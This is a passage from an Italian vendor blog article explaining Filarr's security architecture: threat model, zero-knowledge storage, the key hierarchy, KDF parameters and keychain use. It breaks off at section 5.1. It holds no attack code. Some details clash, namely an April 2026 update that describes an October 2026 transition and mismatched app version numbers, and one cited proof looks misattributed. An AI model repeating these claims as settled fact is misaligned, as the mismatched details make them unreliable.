Sicurezza di Filarr, livello per livello: l’architettura difensiva completa
Tutto ciò che protegge i tuoi dati su Filarr, anche dai server che li ospitano: modello di minaccia, crittografia, Electron rafforzato, CVE corrette.
Mathis Belouar-Pruvot
· fondatore di Filarr · · 77 min di lettura
Risposta rapida. Filarr protegge i tuoi dati crittografando ogni file e ogni nota in AES-256-GCM con la chiave del tuo account (FEK), con un valore casuale nuovo per ciascuno; la FEK è a sua volta protetta da una KEK derivata dalla tua password tramite PBKDF2-SHA-512 (600.000 iterazioni). A questo si aggiungono l’autenticazione a due fattori TOTP facoltativa e una sincronizzazione cloud zero-knowledge in cui i server conservano solo blob crittografati opachi. Electron è rafforzato con tutti i fuse, contextIsolation, sandbox e una CSP rigorosa. Un audit indipendente è previsto, non ancora fatto.
Aggiornamento v2.3.1 (18 aprile 2026): questo articolo riflette lo stato del codice dopo l’audit di sicurezza completo rilasciato con la v2.2.1, il rafforzamento crittografico della v2.2.2 (tutti i fuse di Electron + HKDF nell’abbinamento) e il passaggio a Electron 41 della v2.3.0, che ha corretto 18 CVE accumulate nel ramo 39.
Filarr è uno spazio di lavoro crittografato local-first con sincronizzazione cloud zero-knowledge. In pratica significa che i tuoi dati non lasciano mai il tuo computer in chiaro, nemmeno quando sono sincronizzati con il cloud: i server di Filarr conservano solo blob crittografati opachi che non possono decrittografare, e una richiesta di un’autorità o una copia rubata dei loro dati non restituisce nulla di leggibile. Non è uno slogan di marketing: è la conseguenza di un’architettura in cui la tua chiave di crittografia non esce mai dal tuo dispositivo senza essere prima cifrata, da una chiave derivata dalla tua password o da una chiave effimera di abbinamento. Il suo limite noto è spiegato nel §2: dal 16 ottobre 2026 un’app aggiornata accede con una chiave derivata dalla tua password, ma durante una transizione di circa due mesi un account che non si è ancora ricollegato, o una vecchia versione dell’app, invia ancora la password stessa, che un server compromesso potrebbe intercettare.
L’articolo che segue descrive ogni meccanismo di sicurezza in uso, con i parametri esatti, i file esatti, le CVE esatte corrette, i confronti con gli altri strumenti sul mercato e i riferimenti tecnici (NIST, RFC, OWASP, articoli accademici) per ogni decisione. Niente vaghi «di livello militare», niente fumo artistico: se vuoi verificare il codice, ogni scelta è documentata e tracciabile.
Se hai solo dieci minuti, la sezione di sintesi copre l’essenziale. Altrimenti mettiti comodo: la difesa in profondità richiede un po’ di tempo per essere spiegata.
Indice
- Modello di minaccia: contro chi ci difendiamo, con quali capacità
- Zero-knowledge: cosa significa davvero
- La gerarchia delle chiavi: Password → KEK → FEK
- Argon2id e PBKDF2: perché Filarr usa entrambi
- AES-256-GCM: la scelta, i punti di forza, le trappole mortali
- Autenticazione a due fattori (2FA): TOTP, codici di backup, cosa protegge davvero
- Abbinamento multi-dispositivo: ECDH e HKDF sotto il cofano
- Rafforzamento di Electron: un’app, tre isolamenti
- Content Security Policy: cosa blocca davvero
- Sanificazione XSS: DOMPurify e le trappole note
- Anatomia di una kill chain: XSS → RCE (prima/dopo la v2.2.1)
- Supply chain: le lezioni di event-stream, ua-parser-js, node-ipc
- Storico delle CVE
- Confronto con altri strumenti
- Roadmap della sicurezza
- In sintesi
- Riferimenti e letture di approfondimento
1. Modello di minaccia
Un modello di minaccia è utile solo se è onesto sui propri limiti. Dichiarare «Filarr è sicuro contro tutti gli attaccanti» è una bugia per omissione. La vera domanda è: da quali avversari ti difende Filarr, con quali capacità, e a quale soglia queste difese cedono. Questa sezione risponde esplicitamente a queste tre domande.
1.1 Cosa vogliamo proteggere
La superficie da proteggere si divide in quattro categorie. La prima, ovvia, sono i contenuti dell’utente: note, file, metadati associati (nomi delle cartelle, tag, struttura gerarchica, date di modifica). La seconda è l’insieme delle chiavi di crittografia: la FEK (File Encryption Key) che crittografa tutto il resto, la KEK (Key Encryption Key) derivata dalla tua password e le chiavi effimere generate durante l’abbinamento multi-dispositivo. La terza è l’integrità del binario Electron stesso: vogliamo garantire che nessun attaccante possa eseguire codice arbitrario nel processo di Filarr, che sia tramite l’iniezione di argomenti da riga di comando, la modifica del file app.asar sul disco o la compromissione di una dipendenza npm. La quarta, infine, è la disponibilità: l’app non deve poter servire da vettore di denial of service (nessun ransomware tramite una ZIP bomb importata, nessun crash riproducibile a partire da un input ostile).
Queste quattro categorie non sono trattate allo stesso modo. Contenuti e chiavi godono di una protezione crittografica forte: un attaccante che legge i blob crittografati non può farci nulla. L’integrità del binario si basa su meccanismi più sottili (Electron fuses, convalida dell’ASAR, CSP) descritti nella sezione 8. La disponibilità è trattata come un classico obiettivo di robustezza: limiti di dimensione, limiti di profondità, convalida rigorosa.
1.2 I profili di avversario considerati
Basandoci sulla classificazione STRIDE e sul framework MITRE ATT&CK, distinguiamo sette profili di avversario, ognuno con le sue capacità e le sue difese specifiche:
| Avversario | Capacità | Tattica MITRE | Difesa principale |
|---|---|---|---|
| Server Filarr compromesso (RCE, insider, richiesta di un’autorità) | Legge tutti i blob, falsifica le risposte dell’API | T1565 (Data Manipulation) | Crittografia lato client: ciò che conserva non apre nulla senza la tua password; accesso tramite chiave derivata dal 16 ottobre 2026, ma durante la transizione un account non ancora migrato invia ancora la sua password, che un server compromesso potrebbe intercettare |
| MitM di rete (bar con Wi-Fi pubblico, provider ostile, attore statale) | Intercetta il traffico, falsifica le risposte TLS | T1557 (Adversary-in-the-Middle) | TLS 1.3 + HSTS + pinning implicito (endpoint fisso) + convalida rigorosa con new URL() |
| Malware locale a livello utente (trojan in un .exe scaricato) | Legge la cartella home, osserva i tempi, inietta variabili d’ambiente | T1059 (Command and Scripting Interpreter), T1055 (Process Injection) | Electron fuses (RunAsNode: false, EnableNodeOptionsEnvironmentVariable: false), confronti a tempo costante, allowlist IPC |
| XSS nel renderer (nota trappola, import Obsidian ostile) | Esegue JS nell’app con i privilegi del renderer | T1189 (Drive-by Compromise) | contextIsolation: true, sandbox: true, allowlist IPC rigorosa, DOMPurify difensivo con FORBID_TAGS ampliato |
| Supply chain npm (dipendenza corrotta tramite furto dell’account) | Inietta codice in un pacchetto che carichiamo | T1195.002 (Compromise Software Supply Chain) | npm audit trimestrale, CSP restrittiva, fuse, convalida dell’integrità dell’ASAR |
| Accesso fisico offline (portatile rubato) | Accesso completo al disco senza sessione attiva | T1005 (Data from Local System) | FEK sigillata nel portachiavi del sistema (DPAPI/Keychain/libsecret), la modalità Enhanced Lock cancella .fek_safe alla chiusura |
| Fornitore cloud (Cloudflare, R2) | Legge tutti gli oggetti del bucket | T1530 (Data from Cloud Storage) | Oggetti crittografati lato client: la FEK non esiste mai su R2, nemmeno temporaneamente |
Ogni riga corrisponde a una superficie d’attacco distinta, con la sua catena di contromisure. Possiamo difenderci da una copia rubata dei dati del server (crittografia lato client) ma non da un root locale (che può fare il dump della RAM); possiamo bloccare un XSS nel renderer (contextIsolation + sandbox) ma non possiamo impedire a un utente di scegliere password123. Difesa in profondità significa coprire ogni riga con livelli indipendenti, così che una singola falla non comprometta tutto.
1.3 Da cosa non pretendiamo di proteggerti
Per onestà intellettuale, diverse classi di attacco sono esplicitamente fuori perimetro. Dirlo chiaramente evita malintesi: Filarr non è pensato per questi casi d’uso, e un utente esposto dovrebbe usare altri strumenti.
Innanzitutto, un attaccante con privilegi root, amministratore o SYSTEM sul tuo computer può aggirare tutte le difese software. Può fare il dump della memoria del processo Filarr (leggendo la FEK in chiaro mentre è in RAM), modificare direttamente il binario per disattivare i controlli, installare un keylogger che cattura la tua password prima ancora che tu la digiti nell’app. Nessun software in spazio utente resiste a un attaccante che ha gli stessi privilegi del sistema operativo: è a livello del sistema (Windows Defender su Windows, SELinux/AppArmor su Linux, XProtect e Gatekeeper su macOS) che ci si deve difendere. Filarr non pretende di sostituire questi livelli.
Poi, una password banale rende inutile qualsiasi crittografia. Se la tua password è password2024, nessuna derivazione di chiave da 600.000 iterazioni ti salva da un attacco a forza bruta mirato su GPU. Con 8 GPU RTX 4090 moderne, SHA-512 gira a circa 20 gigahash al secondo (benchmark Hashcat 2024), abbastanza per provare un dizionario di 10^10 parole comuni in poche ore. PBKDF2 moltiplica questo tempo per 600.000, riportando l’attacco a qualche settimana invece di qualche secondo: ancora alla portata di un avversario motivato, con una password debole. L’anello debole sei tu, non la crittografia.
Terzo, Filarr non è pensato per resistere a uno Stato con accesso al firmware. Se il tuo avversario può installare un impianto a livello di BIOS, di Intel Management Engine o del firmware del disco, sei perduto, qualunque sia la qualità della crittografia a livello applicativo. Per questo modello di minaccia (giornalisti sotto regimi autoritari, dissidenti politici, whistleblower) gli strumenti adatti sono Qubes OS per l’isolamento a compartimenti, Tails per un uso effimero e senza tracce e Signal per comunicare. Filarr è uno strumento di produttività con una crittografia forte, per utenti comuni attenti alla privacy, non uno strumento per eludere i dispositivi di uno Stato.
Infine, ed è probabilmente il punto più importante per l’utente medio: se dimentichi la password E la frase di recupero, i tuoi dati sono persi per sempre. È il costo inevitabile dello zero-knowledge. Non esiste nessuna «password di amministratore» nascosta che un servizio di assistenza potrebbe usare per salvarti, perché se esistesse esisterebbe anche per chiunque comprometta Filarr. Questa asimmetria è il prezzo da pagare perché i nostri server conservino solo dati che non possono leggere.
2. Zero-knowledge
Il termine «zero-knowledge» è diventato una parola d’ordine del marketing, diluita fino a perdere il suo significato. In crittografia formale, una dimostrazione a conoscenza zero designa un protocollo molto preciso in cui un dimostratore convince un verificatore della verità di un fatto senza rivelare nient’altro. I protocolli zk-SNARK usati da Zcash o dai rollup di Ethereum ne sono un esempio. Filarr non implementa nulla del genere, e sostenere il contrario sarebbe un uso improprio del termine.
Quello che Filarr implementa si chiama più precisamente archiviazione zero-knowledge o crittografia end-to-end a riposo, nel senso usato da Bitwarden, ProtonDrive, Tresorit o 1Password: il server riceve i dati, li conserva, li ritrasmette, ma li detiene sempre e solo in una forma che non può decrittografare. Questa proprietà non è garantita da una sofisticata dimostrazione crittografica, ma da un invariante architetturale rigoroso: le chiavi di crittografia non transitano mai in chiaro dal server.
Per rendere concreta questa promessa, immagina un server Filarr che riceve una nota di un utente contenente il testo «Sono David». Quello che il server vede, letteralmente, è una sequenza di byte di questa forma:
[4 byte: marcatore FEK]
[12 byte: nonce casuale]
2f 8a c3 d1 7e ... (testo cifrato ~98 byte)
[16 byte: tag di autenticazione]
Questa sequenza è indistinguibile da una sequenza casuale della stessa dimensione per chiunque non abbia la FEK. È una proprietà formale chiamata IND-CCA2 (indistinguibilità sotto attacco adattivo a testo cifrato scelto), dimostrata per AES-GCM da Bellare e Namprempre nel 2008. In altre parole, anche se un attaccante può sottoporre testi cifrati arbitrari al server e osservarne le risposte, osservando i blob non può dedurre alcuna informazione sul loro contenuto oltre alla dimensione, che GCM non nasconde: né la lingua, né la presenza di motivi ripetuti. A parte la lunghezza, il testo cifrato è informativo quanto un flusso di dati casuali.
Perché questa proprietà regga, l’architettura impone una linea rossa assoluta: il server non deve mai toccare la FEK in chiaro, in nessun momento, in nessuna forma. Questa linea si traduce in diversi divieti pratici. Una copia della tua chiave principale è effettivamente conservata lato server (serve per poterti collegare da un nuovo dispositivo senza doverlo abbinare manualmente a un altro già sbloccato), ma questa copia è crittografata da una chiave derivata dalla tua password tramite PBKDF2-SHA-512 con 600.000 iterazioni, e il server non conserva mai la tua password. Dal 16 ottobre 2026 un’app aggiornata non la invia nemmeno: accede con una chiave derivata dalla password con un proprio sale, distinta dalla KEK, e il server conserva solo un hash bcrypt di questa chiave. Una seconda copia della chiave principale è cifrata allo stesso modo con la tua frase di recupero di 24 parole. Senza quella password o quella frase, la copia crittografata è un blob inerte: una copia rubata del database non permette quindi a nessuno di decrittografare i tuoi file, né a noi di recuperare il tuo account se perdi la password. Il limite è la transizione: per circa due mesi, due casi inviano ancora la password al momento dell’accesso (via HTTPS, confrontata con un hash bcrypt): una vecchia versione dell’app (desktop prima della 3.8.1, mobile prima della 1.7) e il primo accesso, da un’app aggiornata, di un account creato prima del 16 ottobre 2026. Un server modificato o compromesso potrebbe intercettarla in quel momento, e poi decifrare quella copia. È lo stesso modello della ProtectedSymmetricKey di Bitwarden e delle chiavi private crittografate di ProtonMail, i cui client non inviano nemmeno loro la password stessa, ma solo un valore derivato da essa. In tutti i casi, la copia lato server esiste per permettere l’uso su più dispositivi, non per aggirare la crittografia. Non esiste nessuna «chiave principale di amministratore» che decrittograferebbe tutti gli account in caso di bisogno, perché una chiave del genere diventerebbe subito un bersaglio privilegiato per chi compromette il server. Nessuna derivazione di chiave viene eseguita lato server, nemmeno intermedia: l’intera catena crittografica dalla password alla FEK si svolge nel browser o nel processo principale di Electron. E infine, quando la FEK deve passare a un nuovo dispositivo tramite abbinamento diretto (i due dispositivi insieme, senza passare dalla password), la FEK è crittografata da una chiave effimera derivata via ECDH tra i due dispositivi, di cui il server non ha mai visto le parti private: vede passare solo un blob già crittografato che non può aprire (vedi il §7).
Questa disciplina architetturale è la stessa di Signal, 1Password, Bitwarden, ProtonMail e Tresorit. Funziona a una condizione necessaria: il codice del client deve essere onesto. Se il client inviasse di nascosto la FEK al server in un’intestazione HTTP personalizzata, l’intera costruzione crollerebbe. È proprio per questo che la trasparenza del codice sorgente conta, e che l’approccio «fidarsi ma verificare» (il codice del client desktop è pubblico, i meccanismi sono documentati, un audit esterno è previsto) è la colonna portante della fiducia, più di qualsiasi discorso di marketing.
3. La gerarchia delle chiavi
Al cuore di Filarr c’è un’architettura crittografica a due livelli, classica ma applicata con rigore: una chiave principale casuale che crittografa tutti i dati dell’utente, e una chiave derivata dalla password che crittografa la chiave principale. Questa separazione non è un dettaglio: abilita diverse funzionalità critiche che vedremo, ed è lo schema standard adottato da tutti gli strumenti di crittografia moderni seri.
3.1 La FEK, chiave radice che crittografa tutti i contenuti
La File Encryption Key, abbreviata FEK, è una chiave simmetrica da 256 bit generata in locale la prima volta che crei un profilo. È prodotta da una chiamata a crypto.getRandomValues(), che garantisce una sorgente CSPRNG (generatore di numeri pseudo-casuali crittograficamente sicuro) di qualità pari a quella del sistema operativo: su Windows è CryptGenRandom, alimentato da RtlGenRandom e dalle sorgenti di entropia hardware moderne; su Linux è /dev/urandom, alimentato dall’entropia del kernel accumulata dall’avvio; sui macOS recenti è CCRandomGenerateBytes, basato sul generatore Fortuna del sistema. La qualità di questa sorgente è fondamentale (una FEK prevedibile comprometterebbe tutto), ed è per questo che non la generiamo mai con Math.random() o con altre funzioni che non siano esplicitamente crittografiche.
Questa sola chiave da 256 bit protegge assolutamente tutti i contenuti dell’utente: ogni file, crittografato in AES-256-GCM con la chiave del tuo account (la FEK) e con un valore casuale (IV) nuovo per ogni file, ogni nota scritta nell’editor, tutti i metadati associati (nomi delle cartelle, struttura gerarchica dei quaderni, tag associati alle note, date di creazione e di modifica) e infine il manifest della sincronizzazione cloud, quel file speciale che elenca tutti i blob presenti su R2 con i loro identificatori e le loro versioni. Solo i file di grandi dimensioni importati sul desktop e i blocchi sincronizzati derivano in più una chiave propria. Il manifest è anch’esso crittografato, per non rivelare al server la struttura della tua cassaforte (anche se non vediamo il contenuto dei file, sapere che hai esattamente 47 note con un certo grafo di collegamenti sarebbe già una fuga di informazioni).
La regola inviolabile intorno alla FEK è che non deve mai lasciare il dispositivo in chiaro. Non in un file di log degli errori, non nel payload di una richiesta API, non in un backup automatico verso un servizio terzo, non in un messaggio di eccezione mostrato all’utente. La FEK può invece lasciare un dispositivo in due circostanze, ogni volta in forma crittografata. Durante la sincronizzazione cloud parte cifrata dalla tua KEK (a sua volta derivata dalla tua password) e dalla tua frase di recupero: il server non conserva mai la tua password, quindi una copia dei suoi dati non può decifrarla; la transizione dell’accesso è descritta nel §2. Durante l’abbinamento multi-dispositivo diretto, è crittografata da una chiave effimera derivata via Diffie-Hellman tra i due dispositivi coinvolti: una chiave che né il server di Filarr né alcun terzo può ricostruire. I dettagli del protocollo sono nella sezione 7.
3.2 Perché non crittografare direttamente con la password?
Un lettore attento potrebbe chiedersi perché non derivare semplicemente una chiave dalla password e crittografare i file direttamente con quella. La risposta sta in una formula: l’esperienza del cambio password. Se crittografassimo i file con una chiave derivata direttamente dalla password, cambiare password vorrebbe dire ricrittografare ogni file con la nuova chiave. Per una cassaforte di 50 GB con 10.000 file, l’operazione richiederebbe ore, saturerebbe il disco e si romperebbe alla minima interruzione: un incubo funzionale che dissuaderebbe chiunque dal cambiare mai la password.
Lo schema standard, usato da 1Password, Bitwarden, Keeper, LastPass, Signal e da ogni strumento serio, separa quindi due chiavi con ruoli distinti. La KEK (Key Encryption Key) è derivata dalla password con una funzione di derivazione costosa; cambia ogni volta che cambia la password. La FEK è casuale, generata una sola volta alla creazione del profilo e cifrata («wrapped», incapsulata) dalla KEK in un file wrapped_fek.json conservato in locale e, per gli account cloud, replicata lato server in questa stessa forma crittografata, così che tu possa ricollegarti da un nuovo dispositivo senza passare da un abbinamento diretto. Cambiare la password significa quindi semplicemente derivare una nuova KEK, reincapsulare con essa la FEK, scrivere il nuovo wrapped_fek.json in locale e inviarlo al server: un’operazione che dura qualche millisecondo e non tocca nessun file crittografato.
Questo design offre un vantaggio inatteso ma essenziale: permette a più KEK di proteggere la stessa FEK. È esattamente ciò che fa Filarr per la chiave di recupero: quando esporti la chiave di recupero, deriviamo una KEK alternativa da una password che scegli apposta per questa esportazione (distinta dalla password principale della cassaforte), incapsuliamo la stessa FEK con questa KEK alternativa e salviamo il risultato in un file JSON che archivi offline. Se perdi la password della cassaforte, puoi ripristinare l’accesso a tutti i tuoi dati con questo file di recupero, a patto ovviamente di non aver perso anche la password dell’esportazione.
3.3 Persistenza della FEK sbloccata tramite il portachiavi del sistema
Una volta inserita la password all’avvio, la KEK viene derivata, la FEK viene decifrata e si trova in RAM. Richiedere la password a ogni avvio sarebbe insostenibile nella pratica: nessun utente lo accetta a lungo. La soluzione standard, ampiamente adottata dalle app desktop moderne, è conservare la FEK sbloccata nel portachiavi del sistema operativo, che crittografa la FEK con una chiave derivata dalla tua sessione utente attiva.
Su Windows 10 e versioni successive usiamo la DPAPI (Data Protection API), esposta da Electron come safeStorage.encryptString(). La DPAPI crittografa i dati con una chiave derivata da un insieme di hash della tua sessione Windows, entropia specifica della macchina (non esportabile) ed entropia specifica dell’utente. Risultato: il file crittografato è illeggibile da un altro account utente sulla stessa macchina, illeggibile se copiato su un’altra macchina e illeggibile se la tua sessione Windows è chiusa.
Su macOS, la stessa API di Electron si appoggia a Keychain Services. Il portachiavi di sistema è a sua volta sbloccato dalla password della sessione o da Touch ID; la sua chiave principale è sigillata nella Secure Enclave sui Mac recenti, il che la rende resistente anche a un attaccante con accesso fisico alla macchina.
Su Linux, l’astrazione passa da libsecret, che può appoggiarsi a gnome-keyring o a kwallet a seconda dell’ambiente desktop. La chiave è derivata all’accesso e il demone la tiene in RAM fino alla disconnessione. Sulle distribuzioni minimali senza demone del portachiavi, l’API può rispondere «crittografia non disponibile».
Il file risultante, chiamato .fek_safe e conservato nella cartella del profilo Filarr, è quindi illeggibile anche da te stesso al di fuori di una sessione attiva. In più applichiamo i permessi Unix 0o600 (lettura e scrittura solo per il proprietario) su tutte le piattaforme, il che blocca anche l’accesso da altri processi non privilegiati in esecuzione con lo stesso utente.
Un cambiamento di comportamento importante è stato introdotto nella v2.2.1 per il caso in cui il portachiavi non sia disponibile: prima, hybrid:storeFEK restituiva in silenzio false senza salvare la FEK. Questo design lasciava la porta aperta a un futuro sviluppatore che, volendo «semplificare la vita agli utenti Linux senza portachiavi», avrebbe potuto aggiungere per sbaglio un ripiego in chiaro. Ora la chiamata solleva un errore esplicito che arriva fino all’utente: «OS keychain unavailable, vault password required at each launch» (portachiavi del sistema non disponibile, password della cassaforte richiesta a ogni avvio). È meno piacevole dal punto di vista dell’esperienza d’uso, ma è la scelta giusta: nessun ripiego implicito che un giorno potrebbe degenerare in «scriviamo la FEK in chiaro così funziona lo stesso». Il principio di fondo è fallire in modo chiuso anziché aperto (fail-closed): nel dubbio si rifiuta, non si improvvisa.
3.4 Enhanced Lock e blocco automatico
Per gli utenti con un modello di minaccia più esigente, Filarr offre due meccanismi complementari che riducono la finestra durante la quale la FEK è accessibile in memoria.
La modalità Enhanced Lock (blocco rafforzato), una volta attivata, elimina il file .fek_safe a ogni chiusura dell’app. In concreto la FEK non persiste più tra una sessione e l’altra: ogni avvio richiede di digitare di nuovo la password della cassaforte. È la modalità da preferire se condividi fisicamente il computer con altre persone, se viaggi con un portatile che potrebbe essere ispezionato a una frontiera, o semplicemente se preferisci accettare il costo di una password a ogni avvio in cambio di una superficie d’attacco ridotta.
Il blocco automatico, configurabile a 5, 15, 30 o 60 minuti di inattività, agisce durante la sessione. Trascorso il tempo scelto senza interazioni, Filarr sovrascrive la FEK nella memoria del renderer (riempiendo l’Uint8Array di zeri e rimuovendo i riferimenti), mostra la schermata di blocco e richiede il PIN (o la password completa, a seconda della configurazione). Un attaccante che accede al tuo computer durante la pausa caffè non troverebbe più la FEK nella memoria del processo Electron, o almeno non nei riferimenti JavaScript gestiti dal garbage collector.
Su quest’ultimo punto, un’onestà intellettuale obbligata: in JavaScript «ripulire la memoria» non ha la garanzia rigorosa che si ottiene in Rust o in C con funzioni come memset_s. Il motore V8 potrebbe aver già copiato la FEK durante le sue ottimizzazioni interne (inlining, promozioni dalla young space alla old space), e il garbage collector non azzera subito queste copie. Per un avversario di livello forense, capace di fare il dump della RAM in tempo reale con uno strumento come Volatility o direttamente con un attacco DMA via Thunderbolt, resta una finestra in cui frammenti della FEK possono essere recuperati. È un limite intrinseco del runtime JavaScript, non una scelta di implementazione. Contro un classico malware a livello utente o un collega curioso che si siede alla tua tastiera, la protezione è efficace.
4. Argon2id e PBKDF2
Tutta la sicurezza della crittografia a riposo dipende, in ultima analisi, dalla qualità della funzione di derivazione della chiave (KDF) che trasforma la tua password in una chiave crittografica. Una password di 10 caratteri ha al massimo circa 40-50 bit di entropia nel migliore dei casi: molto meno del necessario per resistere a una forza bruta diretta. Il ruolo della KDF è rallentare ogni tentativo di derivazione al punto da rendere la forza bruta economicamente proibitiva per un attaccante, mantenendo una latenza accettabile per l’utente legittimo, che deriva una sola chiave per avvio.
Filarr usa due KDF diverse, per segreti diversi, ed è una decisione che vale la pena spiegare perché può sorprendere.
4.1 Perché due KDF?
Sul lato del processo principale Node.js, dove sono disponibili tutte le librerie native, Argon2id è disponibile tramite il pacchetto node-argon2 e protegge segreti diversi dalla password della cassaforte, come il PIN di sblocco locale. È la KDF di riferimento nel 2026, vincitrice della Password Hashing Competition nel 2015 e standardizzata dalla RFC 9106 nel 2021.
Sul lato del renderer (il browser Chromium integrato), non abbiamo accesso ad Argon2. La ragione è sgradevole ma reale: la Web Crypto API esposta dai browser nel 2026 non supporta ancora Argon2, nonostante un dibattito aperto al W3C dal 2019. Le varie proposte di aggiunta (CryptoKey.derivedKey con "Argon2" come nome dell’algoritmo) non sono mai andate in porto, soprattutto perché le implementazioni native nei browser sono state giudicate troppo costose da mantenere in modo uniforme. La KEK che cifra la tua FEK è quindi derivata con PBKDF2-SHA-512, un’alternativa moderna accettabile, sia nel renderer sia nel processo principale.
Questa ibridazione non è ideale (preferiremmo usare Argon2id ovunque), ma riflette il vincolo reale della piattaforma. L’alternativa sarebbe compilare un’implementazione WASM di Argon2 e caricarla nel renderer, ma introdurrebbe un sovraccarico al caricamento (~100-200 KB di WASM), una dipendenza di terze parti da mantenere e complicazioni nella verifica dell’integrità del binario WASM. Abbiamo giudicato la soluzione ibrida un compromesso migliore, almeno finché la Web Crypto API non standardizzerà Argon2.
4.2 I parametri di Argon2id e perché questi valori
Quando usiamo Argon2id nel processo principale, la configurazione è:
const ARGON2_OPTIONS = {
type: argon2.argon2id,
memoryCost: 65536, // 64 MB di RAM per hash
timeCost: 3, // 3 passaggi
parallelism: 4, // 4 thread
hashLength: 32, // output da 256 bit
};
Questi valori corrispondono esattamente alla raccomandazione 2024 dell’OWASP Password Storage Cheat Sheet per Argon2id. Nascono da una calibrazione che bilancia tre obiettivi: essere abbastanza costosi da scoraggiare un attaccante, abbastanza veloci da non frustrare l’utente e abbastanza parsimoniosi in RAM da girare su macchine di fascia bassa.
Perché la variante Argon2id e non Argon2d o Argon2i? Le tre varianti definite dallo standard differiscono solo per il comportamento rispetto agli attacchi side-channel e su GPU. Argon2d è la più resistente alle GPU ma vulnerabile agli attacchi side-channel: il suo schema di accesso alla memoria dipende dai dati segreti, il che permette a un attaccante che osserva la gerarchia delle cache (per esempio con Flush+Reload su un server condiviso) di dedurre dei bit della password. Argon2i è progettata per resistere ai side-channel (accesso alla memoria indipendente dai dati) ma perde la resistenza alle GPU. Argon2id è la variante ibrida che usa Argon2i durante il primo passaggio (quando la password viene elaborata e i side-channel sono più pericolosi) e Argon2d nei passaggi successivi (quando i dati sono già mescolati e conta la resistenza alle GPU). È la raccomandazione predefinita dalla RFC 9106 per qualsiasi uso generico.
La scelta di 64 MB di memoria per hash è il cuore della difesa anti-GPU. Una GPU moderna come una RTX 4090 ha circa 16.000 core di calcolo e 24 GB di VRAM. Può parallelizzare in modo efficiente operazioni SHA-256 in cui ogni thread ha bisogno solo di qualche kilobyte. Ma Argon2id con 64 MB per hash significa che si possono avere solo 24/0,064 ≈ 375 hash in parallelo per GPU, contro milioni per il solo SHA-256. La parallelizzazione crolla e il costo per hash esplode. È ciò che si chiama una funzione memory-hard: pensata per rendere l’attacco parallelo economicamente proibitivo, non solo lento.
4.3 I parametri di PBKDF2-SHA-512
Per la KEK usiamo PBKDF2 con questa configurazione:
{
name: 'PBKDF2',
salt, // 16 byte casuali per utente
iterations: 600000,
hash: 'SHA-512',
}
600.000 iterazioni con SHA-512 sono ben oltre le 210.000 raccomandate dall’OWASP per PBKDF2-SHA512 (600.000 è la sua cifra per SHA-256). Perché un margine così ampio? Semplicemente perché il costo è invisibile per l’utente (circa 500 ms su un portatile medio) e un margine rispetto alle raccomandazioni dà un po’ di respiro di fronte ai progressi delle GPU nei prossimi anni.
La scelta di SHA-512 anziché SHA-256 merita una spiegazione. Le due varianti di SHA hanno proprietà crittografiche equivalenti, ma SHA-512 elabora blocchi da 1024 bit a ogni iterazione (contro 512 per SHA-256). Su una CPU moderna a 64 bit, SHA-512 è addirittura più veloce per byte elaborato rispetto a SHA-256, perché lavora nativamente su registri a 64 bit. Ma su una GPU questo vantaggio si inverte in parte: le GPU sono ottimizzate per operazioni a 32 bit, e SHA-512 le costringe a simulare operazioni a 64 bit, con un sovraccarico. Le cifre dell’OWASP stesso lo riflettono: raccomanda 210.000 iterazioni per PBKDF2-SHA512 contro 600.000 per PBKDF2-SHA256, circa tre volte meno per una resistenza comparabile. Non è enorme, ma è gratis.
Una scelta collegata, su cui a volte ci hanno interrogato, è perché non 1 milione o 2 milioni di iterazioni invece di 600.000. La risposta è una questione di esperienza d’uso: su un vecchio portatile i5 del 2018, 600.000 iterazioni richiedono circa 500 ms. Oltre, l’utente percepisce chiaramente un’attesa a ogni sblocco, e l’attrito accumulato scoraggia l’uso regolare dell’app. Il vero guadagno di sicurezza verrebbe da una funzione memory-hard come Argon2id, non dallo spingere PBKDF2 a numeri astronomici che allungano solo linearmente un problema che le GPU sanno linearizzare altrettanto bene.
4.4 Il sale, sempre unico, sempre casuale
Ultimo elemento della derivazione: il sale. Filarr usa un sale di 16 byte (128 bit) generato in modo casuale da crypto.getRandomValues() per ogni utente, conservato insieme all’hash. Mai derivato dal nome utente, mai costante tra utenti, mai derivato dall’email. Due ragioni classiche giustificano questa disciplina.
La prima è che un sale casuale rende inutili le rainbow table, quelle enormi tabelle precalcolate dagli attaccanti che associano le password comuni ai loro hash. Con un sale diverso per ogni utente, una rainbow table valida per l’utente Alice non è riutilizzabile per l’utente Bob, anche se entrambi hanno scelto la stessa password.
La seconda è l’anti-replicazione tra utenti: se Alice e Bob scelgono entrambi la password hunter2 (un classico), i loro hash derivati saranno completamente diversi grazie al sale casuale. Un attaccante che compromette un database non può rilevare questa collisione, che sarebbe un’informazione preziosa: gli permetterebbe di dedurre che, se una delle due password viene violata, lo è anche l’altra.
4.5 Confronto con altri strumenti
Per collocare Filarr nell’ecosistema, ecco le scelte di KDF di alcuni strumenti noti:
| Strumento | KDF | Parametri | Commento |
|---|---|---|---|
| Filarr (v2.3) | PBKDF2-SHA-512 (KEK) + Argon2id (altri segreti, processo principale) | 600k iter / m=64MB t=3 p=4 | Web Crypto non ha Argon2: la KEK resta su PBKDF2 |
| Bitwarden | PBKDF2-SHA-256 | 600k iter (predefinito dal 2023) | Migrazione ad Argon2id in corso |
| 1Password | PBKDF2-SHA-256 + Secret Key | 650k iter | La Secret Key (256 bit conservati a parte) raddoppia la sicurezza |
| Signal | HKDF-SHA-256 (non è propriamente una KDF per password) | N/D | Signal non ha password utente: tutto deriva dal PIN + Secure Value Recovery |
| KeePassXC | Argon2id (o AES-KDF legacy) | Configurabile | Lo stato dell’arte sul desktop |
| LastPass | PBKDF2-SHA-256 | 100k iter (scandaloso nel 2024, vedi l’incidente del 2022) | Da evitare |
La KEK di Filarr si colloca nella metà alta della tabella grazie al numero di iterazioni di PBKDF2-SHA-512, ma gli strumenti su Argon2id, come KeePassXC, resistono meglio alle GPU. 1Password aggiunge una difesa di altro tipo, la sua Secret Key: una chiave da 256 bit che l’utente conserva fuori dal server (su un codice QR stampato, per esempio) e che si combina con la password per derivare la KEK finale. Abbiamo valutato questo modello per Filarr, ma il peggioramento dell’esperienza d’uso (dover gestire un file aggiuntivo oltre alla password a ogni nuovo dispositivo) è stato giudicato incompatibile con il pubblico generalista dello strumento.
5. AES-256-GCM
Ogni file e ogni nota in Filarr è crittografato singolarmente, senza concatenamento tra file, con AES-256 in modalità GCM (Galois/Counter Mode), standardizzato dalla NIST SP 800-38D nel 2007. Questa scelta non è in discussione nella comunità crittografica moderna, ma merita di spiegare perché questa modalità e non un’altra, e quali trappole evitare nell’usarla.
5.1 La struttura esatta del testo cifrato
